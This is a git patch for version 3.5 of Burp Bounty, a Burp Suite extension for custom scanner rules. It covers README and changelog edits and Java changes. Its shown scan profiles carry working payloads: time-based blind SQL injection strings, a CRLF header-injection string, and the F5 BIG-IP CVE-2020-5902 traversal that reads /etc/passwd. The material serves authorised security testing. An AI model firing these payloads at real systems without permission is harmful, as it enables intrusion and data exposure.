From ae33e9767c78cdbe79c11b2f3f9af3a0c4d4fd08 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 1 Oct 2020 13:40:26 +0200 Subject: [PATCH] Version 3.5 --- BappDescription.html | 16 + CHANGELOG.md | 9 + README.md | 28 +- profiles/AllowCredentials.bb | 2 +- profiles/BlindSQLi-TimeBased.bb | 2 +- profiles/CRLF-Attack.bb | 2 +- profiles/F5-BigIP_CVE-2020-5902.bb | 2 +- profiles/FireBase_API.bb | 1 + profiles/tags.txt | 1 + src/ActiveProfile.java | 2 +- src/BappDescription.html | 16 + src/BuildUnencodeRequest.java | 10 +- src/BurpBountyExtension.java | 35 +- src/BurpBountyGui.form | 140 +- src/BurpBountyGui.java | 111 +- src/BurpExtender.java | 10 +- src/CHANGELOG.md | 114 + src/Changelog_3.0.4beta.md | 63 + src/Changelog_3.0.5beta.md | 12 + src/GenericScan.java | 63 +- src/GrepMatch.java | 10 +- src/LICENCE | 202 + src/README.md | 55 + src/RequestProfile.java | 2 +- src/ResponseProfile.form | 2 +- src/ResponseProfile.java | 6 +- src/images/1.png | Bin 0 -> 6386 bytes src/images/10.png | Bin 0 -> 16518 bytes src/images/11.png | Bin 0 -> 8917 bytes src/images/12.png | Bin 0 -> 14400 bytes src/images/13.png | Bin 0 -> 34986 bytes src/images/14.png | Bin 0 -> 15368 bytes src/images/2.png | Bin 0 -> 17391 bytes src/images/3.png | Bin 0 -> 19296 bytes src/images/4.png | Bin 0 -> 15742 bytes src/images/5.png | Bin 0 -> 21165 bytes src/images/6.png | Bin 0 -> 19557 bytes src/images/7.png | Bin 0 -> 18818 bytes src/images/8.png | Bin 0 -> 21796 bytes src/images/9.png | Bin 0 -> 16580 bytes src/images/BurpBounty.jpg | Bin 0 -> 10156 bytes src/images/BurpBounty_v3.0.3beta.png | Bin 0 -> 90160 bytes src/images/Headers.png | Bin 0 -> 25337 bytes src/images/MatchType.png | Bin 0 -> 55982 bytes src/images/Payloadoptions.png | Bin 0 -> 12072 bytes src/images/insertionpointtype.png | Bin 0 -> 35885 bytes src/images/path.png | Bin 0 -> 149369 bytes src/images/tagsfeature.png | Bin 0 -> 271872 bytes src/images/variations.png | Bin 0 -> 176270 bytes src/profiles/AccessToken.bb | 1 + src/profiles/AllowCredentials.bb | 1 + src/profiles/AmazonAWS.bb | 1 + src/profiles/AmazonAWSRequest.bb | 1 + src/profiles/ApiKeyRequest.bb | 1 + src/profiles/ApiKeyResponse.bb | 1 + src/profiles/ApiPath.bb | 1 + src/profiles/AuthorizationBearerToken.bb | 1 + src/profiles/BlindRCE.bb | 1 + src/profiles/BlindSQLi-ContentLength.bb | 1 + src/profiles/BlindSQLi-TimeBased.bb | 1 + src/profiles/BlindXSS.bb | 1 + src/profiles/BlindXXE.bb | 1 + src/profiles/CMSDetection.bb | 1 + src/profiles/CRLF-Attack.bb | 1 + src/profiles/Cache-Control.bb | 1 + src/profiles/Content-Security-Policy.bb | 1 + src/profiles/CookieAttrubute-HttpOnly.bb | 1 + src/profiles/CookieAttrubute-SameSite.bb | 1 + src/profiles/CookieAttrubute-Secure.bb | 1 + src/profiles/DefaultRDP.bb | 1 + src/profiles/DirectoryListing.bb | 1 + src/profiles/Drupalgeddon.bb | 1 + src/profiles/EmailInput.bb | 1 + src/profiles/EndpointsExtractor.bb | 1 + src/profiles/ErrorPages-JobApps.bb | 1 + src/profiles/ErrorSQLi.bb | 1 + src/profiles/F5-BigIP_CVE-2020-5902.bb | 1 + src/profiles/FireBase_API.bb | 1 + src/profiles/FirebaseAPIToken.bb | 1 + src/profiles/GitFinder.bb | 1 + src/profiles/Joomla-ArbitraryFileUpload.bb | 1 + src/profiles/Joomla-CVE-2015-7297.bb | 1 + src/profiles/Joomla-ReflectedXSS.bb | 1 + src/profiles/JoomlaSQLi-com_artforms .bb | 1 + src/profiles/Linux-PathTraversal-MR.bb | 1 + src/profiles/OAuth2.bb | 1 + src/profiles/OAuth2response.bb | 1 + .../OpenRedirect-ParameterPollution.bb | 1 + src/profiles/OpenRedirect.bb | 1 + src/profiles/RCE.bb | 1 + src/profiles/RoR CVE-2019-5418 WAF Bypass.bb | 1 + src/profiles/Ruby on Rails CVE-2019-5418.bb | 1 + src/profiles/SSRF-Collaborator.bb | 1 + src/profiles/SSRF-URLScheme.bb | 1 + src/profiles/ServerBanner.bb | 1 + src/profiles/Strict-Transport-Security.bb | 1 + src/profiles/Swagger-Finder.bb | 1 + src/profiles/WebCachePoisoning.bb | 1 + src/profiles/WeblogicServer-UDDI Explorer.bb | 1 + .../Wordpress-SensitiveDirectories.bb | 1 + src/profiles/X-Content-Type-Options.bb | 1 + src/profiles/X-Frame-Options.bb | 1 + src/profiles/X-Headers-Collaborator.bb | 1 + src/profiles/X-XSS-Protection.bb | 1 + src/profiles/XSS - Akamai GHost bypass.bb | 1 + src/profiles/XSS.bb | 1 + src/profiles/XSSHtmlUrlEncode.bb | 1 + src/profiles/XSSUrlEncode.bb | 1 + src/profiles/XXE.bb | 1 + src/profiles/tags.txt | 1 + src/src/ActiveProfile.form | 2604 +++++++++++++ src/src/ActiveProfile.java | 2467 +++++++++++++ src/src/BuildUnencodeRequest.java | 73 + src/src/BurpBountyExtension.java | 253 ++ src/src/BurpBountyGui.form | 901 +++++ src/src/BurpBountyGui.java | 3253 +++++++++++++++++ src/src/BurpCollaboratorThread.java | 132 + src/src/BurpExtender.java | 7 + src/src/CollaboratorData.java | 74 + src/src/CustomScanIssue.java | 115 + src/src/GenericScan.java | 981 +++++ src/src/GrepMatch.java | 306 ++ src/src/Headers.java | 32 + src/src/NewTag.form | 67 + src/src/NewTag.java | 71 + src/src/ProfilesProperties.java | 451 +++ src/src/RequestProfile.form | 1025 ++++++ src/src/RequestProfile.java | 1100 ++++++ src/src/ResponseProfile.form | 1224 +++++++ src/src/ResponseProfile.java | 1242 +++++++ 130 files changed, 17262 insertions(+), 93 deletions(-) create mode 100644 BappDescription.html create mode 100755 profiles/FireBase_API.bb create mode 100644 src/BappDescription.html create mode 100644 src/CHANGELOG.md create mode 100755 src/Changelog_3.0.4beta.md create mode 100755 src/Changelog_3.0.5beta.md create mode 100755 src/LICENCE create mode 100644 src/README.md create mode 100755 src/images/1.png create mode 100755 src/images/10.png create mode 100755 src/images/11.png create mode 100755 src/images/12.png create mode 100755 src/images/13.png create mode 100755 src/images/14.png create mode 100755 src/images/2.png create mode 100755 src/images/3.png create mode 100755 src/images/4.png create mode 100755 src/images/5.png create mode 100755 src/images/6.png create mode 100755 src/images/7.png create mode 100755 src/images/8.png create mode 100755 src/images/9.png create mode 100755 src/images/BurpBounty.jpg create mode 100755 src/images/BurpBounty_v3.0.3beta.png create mode 100755 src/images/Headers.png create mode 100755 src/images/MatchType.png create mode 100755 src/images/Payloadoptions.png create mode 100755 src/images/insertionpointtype.png create mode 100755 src/images/path.png create mode 100755 src/images/tagsfeature.png create mode 100755 src/images/variations.png create mode 100755 src/profiles/AccessToken.bb create mode 100755 src/profiles/AllowCredentials.bb create mode 100755 src/profiles/AmazonAWS.bb create mode 100755 src/profiles/AmazonAWSRequest.bb create mode 100755 src/profiles/ApiKeyRequest.bb create mode 100755 src/profiles/ApiKeyResponse.bb create mode 100755 src/profiles/ApiPath.bb create mode 100755 src/profiles/AuthorizationBearerToken.bb create mode 100755 src/profiles/BlindRCE.bb create mode 100755 src/profiles/BlindSQLi-ContentLength.bb create mode 100755 src/profiles/BlindSQLi-TimeBased.bb create mode 100755 src/profiles/BlindXSS.bb create mode 100755 src/profiles/BlindXXE.bb create mode 100755 src/profiles/CMSDetection.bb create mode 100755 src/profiles/CRLF-Attack.bb create mode 100755 src/profiles/Cache-Control.bb create mode 100755 src/profiles/Content-Security-Policy.bb create mode 100755 src/profiles/CookieAttrubute-HttpOnly.bb create mode 100755 src/profiles/CookieAttrubute-SameSite.bb create mode 100755 src/profiles/CookieAttrubute-Secure.bb create mode 100755 src/profiles/DefaultRDP.bb create mode 100755 src/profiles/DirectoryListing.bb create mode 100755 src/profiles/Drupalgeddon.bb create mode 100755 src/profiles/EmailInput.bb create mode 100755 src/profiles/EndpointsExtractor.bb create mode 100755 src/profiles/ErrorPages-JobApps.bb create mode 100755 src/profiles/ErrorSQLi.bb create mode 100755 src/profiles/F5-BigIP_CVE-2020-5902.bb create mode 100755 src/profiles/FireBase_API.bb create mode 100644 src/profiles/FirebaseAPIToken.bb create mode 100755 src/profiles/GitFinder.bb create mode 100755 src/profiles/Joomla-ArbitraryFileUpload.bb create mode 100755 src/profiles/Joomla-CVE-2015-7297.bb create mode 100755 src/profiles/Joomla-ReflectedXSS.bb create mode 100755 src/profiles/JoomlaSQLi-com_artforms .bb create mode 100755 src/profiles/Linux-PathTraversal-MR.bb create mode 100755 src/profiles/OAuth2.bb create mode 100755 src/profiles/OAuth2response.bb create mode 100755 src/profiles/OpenRedirect-ParameterPollution.bb create mode 100755 src/profiles/OpenRedirect.bb create mode 100755 src/profiles/RCE.bb create mode 100755 src/profiles/RoR CVE-2019-5418 WAF Bypass.bb create mode 100755 src/profiles/Ruby on Rails CVE-2019-5418.bb create mode 100755 src/profiles/SSRF-Collaborator.bb create mode 100755 src/profiles/SSRF-URLScheme.bb create mode 100755 src/profiles/ServerBanner.bb create mode 100755 src/profiles/Strict-Transport-Security.bb create mode 100755 src/profiles/Swagger-Finder.bb create mode 100755 src/profiles/WebCachePoisoning.bb create mode 100755 src/profiles/WeblogicServer-UDDI Explorer.bb create mode 100755 src/profiles/Wordpress-SensitiveDirectories.bb create mode 100755 src/profiles/X-Content-Type-Options.bb create mode 100755 src/profiles/X-Frame-Options.bb create mode 100755 src/profiles/X-Headers-Collaborator.bb create mode 100755 src/profiles/X-XSS-Protection.bb create mode 100755 src/profiles/XSS - Akamai GHost bypass.bb create mode 100755 src/profiles/XSS.bb create mode 100755 src/profiles/XSSHtmlUrlEncode.bb create mode 100755 src/profiles/XSSUrlEncode.bb create mode 100755 src/profiles/XXE.bb create mode 100755 src/profiles/tags.txt create mode 100755 src/src/ActiveProfile.form create mode 100755 src/src/ActiveProfile.java create mode 100755 src/src/BuildUnencodeRequest.java create mode 100755 src/src/BurpBountyExtension.java create mode 100755 src/src/BurpBountyGui.form create mode 100755 src/src/BurpBountyGui.java create mode 100755 src/src/BurpCollaboratorThread.java create mode 100755 src/src/BurpExtender.java create mode 100755 src/src/CollaboratorData.java create mode 100755 src/src/CustomScanIssue.java create mode 100755 src/src/GenericScan.java create mode 100755 src/src/GrepMatch.java create mode 100755 src/src/Headers.java create mode 100755 src/src/NewTag.form create mode 100755 src/src/NewTag.java create mode 100755 src/src/ProfilesProperties.java create mode 100755 src/src/RequestProfile.form create mode 100755 src/src/RequestProfile.java create mode 100755 src/src/ResponseProfile.form create mode 100755 src/src/ResponseProfile.java diff --git a/BappDescription.html b/BappDescription.html new file mode 100644 index 0000000..237b583 --- /dev/null +++ b/BappDescription.html @@ -0,0 +1,16 @@ +

This BurpSuite extension allows you, in a quick and simple way, to improve +the active and passive BurpSuite scanner by means of personalized rules +through a very intuitive graphical interface. Through an advanced search of +patterns and an improvement of the payload to send, we can create our own +issue profiles both in the active scanner and in the passive.

+ +

* Usage manual: Wiki.

+ +

* You can download profile from: Github.

+ +

* Author's on Twitter: @BurpBounty @egarme

+ +

* More information at: https://burpbounty.net

+ + +

* If you need more power, I invite you to try the new Burp Bounty Pro, which gives you more power and automation during your manual pentests.

diff --git a/CHANGELOG.md b/CHANGELOG.md index f35ab76..aba38a3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,13 @@ ## Changelog +**3.5.0 20201001** +* Fixed bug with Payload and Payload without encode match type +* Changed the default directory from user.dir to user.home +* Added and variables for printing issue details in Advisory. +* Fixed regex grep case sensitive +* Better redirection performance +* Fixed bug with Match And Replace + + **3.4.0 20200621** * Fixed bug with delete button on windows systems * Fixed bug with Java array diff --git a/README.md b/README.md index 972864a..23968dc 100644 --- a/README.md +++ b/README.md @@ -8,26 +8,36 @@ # Burp Bounty - Scan Check Builder (BApp Store) +This Burp Suite extension allows you, in a quick and simple way, to improve the active and passive burpsuite scanner by means of personalized rules through a very intuitive graphical interface. Through an advanced search of patterns and an improvement of the payload to send, we can create our own issue profiles both in the active scanner and in the passive.
+ Download releases: * https://github.com/wagiro/BurpBounty/releases/ -This Burp Suite extension allows you, in a quick and simple way, to improve the active and passive burpsuite scanner by means of personalized rules through a very intuitive graphical interface. Through an advanced search of patterns and an improvement of the payload to send, we can create our own issue profiles both in the active scanner and in the passive. +
If you need more power, I invite you to try the new Burp Bounty Pro, which gives you more power and automation during your manual pentests. + +
More information at: [https://burpbounty.net](https://burpbounty.net) and [Burp Bounty Pro vs Free](https://burpbounty.net/burp-bounty-pro-vs-free/). ## Usage -* Go to [Usage](https://github.com/wagiro/BurpBounty/wiki/usage) section. +* Go to [Usage](https://github.com/wagiro/BurpBounty/wiki/usage) section or the slides of [Ekoparty Security Conference](https://burpbounty.net/burp-bounty-ekoparty-2020/). ## Profiles -* Profiles from [egarme](https://twitter.com/egarme) in [Github](https://github.com/wagiro/BurpBounty/tree/master/profiles/) - -* Profiles from [Gocha](https://twitter.com/GochaOqradze) in their [Github](https://github.com/ghsec/BBProfiles) +* Thanks to [Six2dez1](https://twitter.com/Six2dez1) for collect all of the Burp Bounty profiles and also share their own. You can find the collection [HERE](https://github.com/wagiro/BurpBounty/tree/master/profiles/) + +* Also thanks to: + + - [Gocha](https://twitter.com/GochaOqradze) + - [Sy3Omda](https://twitter.com/Sy3Omda) + - [Syed](https://twitter.com/syed__umar) + - [n00py1](https://twitter.com/n00py1) + - [legik](https://github.com/legik) -* Profiles from [Sy3Omda](https://twitter.com/Sy3Omda) in their [Github](https://github.com/Sy3Omda/burp-bounty) +All of them have contributed by sharing their Burp Bounty profiles ### For example videos please visit our youtube channel: @@ -43,9 +53,3 @@ This Burp Suite extension allows you, in a quick and simple way, to improve the
- - -## Donations -If you like this extension, you can collaborate to continue developing it and improve it faster: - -- Paypal - https://paypal.me/Burpbounty diff --git a/profiles/AllowCredentials.bb b/profiles/AllowCredentials.bb index cfac312..1a01615 100644 --- a/profiles/AllowCredentials.bb +++ b/profiles/AllowCredentials.bb @@ -1 +1 @@ -[{"Name":"Access-Control-Allow-Credentials","Enabled":true,"Scanner":2,"Author":"n00py","UrlEncode":false,"Grep":["true,Or,Access-Control-Allow-Credentials: true"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"isTime":false,"iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":0,"grepsFile":"","IssueName":"Access-Control-Allow-Credentials: True","IssueSeverity":"Information","IssueConfidence":"Certain","IssueDetail":"The application sets the Access-Control-Allow-Credentials: True HTTP header. An attempt should be made to manipulate the origin to see if origins are being reflected into the response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","VariationAttributes":[],"InsertionPointType":[],"Scantype":0,"pathDiscovery":false}] +[{"Name":"AllowCredentials","Enabled":true,"Scanner":2,"Author":"@n00py1","UrlEncode":false,"Grep":["true,Or,Access-Control-Allow-Credentials: true"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"isTime":false,"iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":0,"grepsFile":"","IssueName":"Access-Control-Allow-Credentials: True","IssueSeverity":"Information","IssueConfidence":"Certain","IssueDetail":"The application sets the Access-Control-Allow-Credentials: True HTTP header. An attempt should be made to manipulate the origin to see if origins are being reflected into the response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","VariationAttributes":[],"InsertionPointType":[],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/profiles/BlindSQLi-TimeBased.bb b/profiles/BlindSQLi-TimeBased.bb index 7703707..19ba99e 100755 --- a/profiles/BlindSQLi-TimeBased.bb +++ b/profiles/BlindSQLi-TimeBased.bb @@ -1 +1 @@ -[{"Name":"BlindSQLi-TimeBased","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u0027 and sleep 12--","\u0027 and sleep 12","\u0027 and sleep 12 and \u00271\u0027\u003d\u00271","\u0027 and sleep(12) and \u00271\u0027\u003d\u00271","\u0027 and sleep(12)--","\u0027 and sleep(12)",";sleep(12)--","\u0027 SELECT BENCHMARK(1200000,MD5(\u0027A\u0027));","\u0027 SELECT SLEEP(12); #","\u0027 WAITFOR DELAY \u00270:0:12\u0027--","\u0027 WAITFOR DELAY \u00270:0:12\u0027","\u0027 SELECT pg_sleep(12);"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"8","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":5,"RedirType":0,"MaxRedir":0,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"BlindSQLi-TimeBased","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file +[{"Name":"BlindSQLi-TimeBased","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u0027 and sleep 25--","\u0027 and sleep 25","\u0027 and sleep 25 and \u00271\u0027\u003d\u00271","\u0027 and sleep(25) and \u00271\u0027\u003d\u00271","\u0027 and sleep(25)--","\u0027 and sleep(25)",";sleep(25)--","\u0027 SELECT BENCHMARK(2500000,MD5(\u0027A\u0027));","\u0027 SELECT SLEEP(25); #","\u0027 WAITFOR DELAY \u00270:0:25\u0027--","\u0027 WAITFOR DELAY \u00270:0:25\u0027","\u0027 SELECT pg_sleep(25);"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"20","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":5,"RedirType":0,"MaxRedir":0,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"BlindSQLi-TimeBased","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/profiles/CRLF-Attack.bb b/profiles/CRLF-Attack.bb index 903f6a5..eef78cb 100755 --- a/profiles/CRLF-Attack.bb +++ b/profiles/CRLF-Attack.bb @@ -1 +1 @@ -[{"Name":"CRLF-Attack","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["%0D%0ASet-Cookie:%20mycookie\u003dmyvalue"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[" ^Set-Cookie:\\smycookie\u003dmyvalue"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":3,"MaxRedir":3,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CRLF-Attack","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file +[{"Name":"CRLF-Attack","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["%0D%0ASet-Cookie:%20mycookie\u003dmyvalue"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["true,Or, ^Set-Cookie:\\smycookie\u003dmyvalue"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":3,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"CRLF-Attack","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/profiles/F5-BigIP_CVE-2020-5902.bb b/profiles/F5-BigIP_CVE-2020-5902.bb index 901cf37..6033bc4 100755 --- a/profiles/F5-BigIP_CVE-2020-5902.bb +++ b/profiles/F5-BigIP_CVE-2020-5902.bb @@ -1 +1 @@ -[{"Name":"F5-BigIP_CVE-2020-5902","Enabled":true,"Scanner":1,"Author":"@burpbounty","Payloads":["/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName\u003d/etc/passwd"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["true,Or,root:x:0"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":true,"ResponseCode":"200","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"F5-BigIP_CVE-2020-5902","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"More info at: https://support.f5.com/csp/article/K52145254","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file +[{"Name":"F5-BigIP_CVE-2020-5902","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName\u003d/etc/passwd"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["true,Or,root:x:0"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":true,"ResponseCode":"200","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"F5-BigIP_CVE-2020-5902","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"More info at: https://support.f5.com/csp/article/K52145254","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/profiles/FireBase_API.bb b/profiles/FireBase_API.bb new file mode 100755 index 0000000..e58e647 --- /dev/null +++ b/profiles/FireBase_API.bb @@ -0,0 +1 @@ +[{"Name":"FireBase_API","Enabled":true,"Scanner":2,"Author":"@syed__umar","UrlEncode":false,"Grep":["true,Or,apiKey:\\s\"(.*?)\","],"Tags":["All","InformationDisclosure"],"PayloadResponse":false,"NotResponse":false,"isTime":false,"iscontentLength":false,"CaseSensitive":true,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":0,"grepsFile":"","IssueName":"Firebase API Token leakage","IssueSeverity":"Medium","IssueConfidence":"Firm","IssueDetail":"The API key of Firebase was found present in the source code of the web application. As it is, it doesn\u0027t pose any threat to the application. \n\nBut, do try this POC: https://gist.github.com/Anon-Exploiter/5232869d84d01d0e90377410ef25f576\n\nHost the above .html file on a server/vps (don\u0027t try on localhost, sometimes DEVs allow localhost for their own servers) - If it works, that means there\u0027s no restriction and anyone can utilize the keys to query the database from any application.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"Restrict the firebase keys to the Web Application\u0027s URL/Host only\n\nReference: https://stackoverflow.com/questions/35418143/how-to-restrict-firebase-data-modifications","VariationAttributes":[],"InsertionPointType":[],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/profiles/tags.txt b/profiles/tags.txt index bc4cd76..ad9e03d 100644 --- a/profiles/tags.txt +++ b/profiles/tags.txt @@ -1 +1,2 @@ All +InformationDisclosure diff --git a/src/ActiveProfile.java b/src/ActiveProfile.java index ffcc3c9..3ef86c5 100644 --- a/src/ActiveProfile.java +++ b/src/ActiveProfile.java @@ -121,7 +121,7 @@ public boolean isCellEditable(int row, int column) { if (callbacks.loadExtensionSetting("filename") != null) { filename = callbacks.loadExtensionSetting("filename")+ File.separator;; } else { - filename = System.getProperty("user.dir")+ File.separator;; + filename = System.getProperty("user.home")+ File.separator;; } showHeaders(headers); showGrepsTable(); diff --git a/src/BappDescription.html b/src/BappDescription.html new file mode 100644 index 0000000..237b583 --- /dev/null +++ b/src/BappDescription.html @@ -0,0 +1,16 @@ +

This BurpSuite extension allows you, in a quick and simple way, to improve +the active and passive BurpSuite scanner by means of personalized rules +through a very intuitive graphical interface. Through an advanced search of +patterns and an improvement of the payload to send, we can create our own +issue profiles both in the active scanner and in the passive.

+ +

* Usage manual: Wiki.

+ +

* You can download profile from: Github.

+ +

* Author's on Twitter: @BurpBounty @egarme

+ +

* More information at: https://burpbounty.net

+ + +

* If you need more power, I invite you to try the new Burp Bounty Pro, which gives you more power and automation during your manual pentests.

diff --git a/src/BuildUnencodeRequest.java b/src/BuildUnencodeRequest.java index 693993e..fe2b9fb 100644 --- a/src/BuildUnencodeRequest.java +++ b/src/BuildUnencodeRequest.java @@ -12,7 +12,7 @@ public class BuildUnencodeRequest { this.helpers = helpers; } - byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload, List headers) { + byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload, List headers, String bchost) { byte[] canary = buildCanary(payload.length); byte[] request = iScannerInsertionPoint.buildRequest(canary); int canaryPos = findCanary(canary, request); @@ -29,6 +29,9 @@ byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte if (replace.contains("{PAYLOAD}")) { replace = replace.replace("{PAYLOAD}", stringpayload); } + if (replace.contains("{BC}")) { + replace = replace.replace("{BC}", bchost); + } if (headers.get(x).match.isEmpty()) { tempRequest = tempRequest.replace("\r\n\r\n", "\r\n" + replace + "\r\n\r\n"); } else { @@ -38,6 +41,9 @@ byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte if (replace.contains("{PAYLOAD}")) { replace = replace.replaceAll("\\{PAYLOAD\\}", stringpayload); } + if (replace.contains("{BC}")) { + replace = replace.replaceAll("\\{BC\\}", bchost); + } if (headers.get(x).match.isEmpty()) { tempRequest = tempRequest.replaceAll("\\r\\n\\r\\n", "\r\n" + replace + "\r\n\r\n"); } else { @@ -64,4 +70,4 @@ private int findCanary(byte[] canary, byte[] request) { int canaryPos = helpers.indexOf(request, canary, false, 0, request.length); return canaryPos; } -} +} \ No newline at end of file diff --git a/src/BurpBountyExtension.java b/src/BurpBountyExtension.java index d37151d..036ce7e 100644 --- a/src/BurpBountyExtension.java +++ b/src/BurpBountyExtension.java @@ -35,7 +35,6 @@ import java.awt.Dimension; import java.io.File; import java.io.FileReader; -import java.net.URL; import java.util.ArrayList; import java.util.List; import javax.swing.JScrollPane; @@ -82,7 +81,7 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { optionsTab.getVerticalScrollBar().setUnitIncrement(20); callbacks.addSuiteTab(this); - callbacks.printOutput("- Burp Bounty v3.4"); + callbacks.printOutput("- Burp Bounty v3.5"); callbacks.printOutput("- For bugs please on the official github: https://github.com/wagiro/BurpBounty/"); callbacks.printOutput("- Created by Eduardo Garcia Melia "); @@ -125,7 +124,7 @@ public void extensionUnloaded() { public List 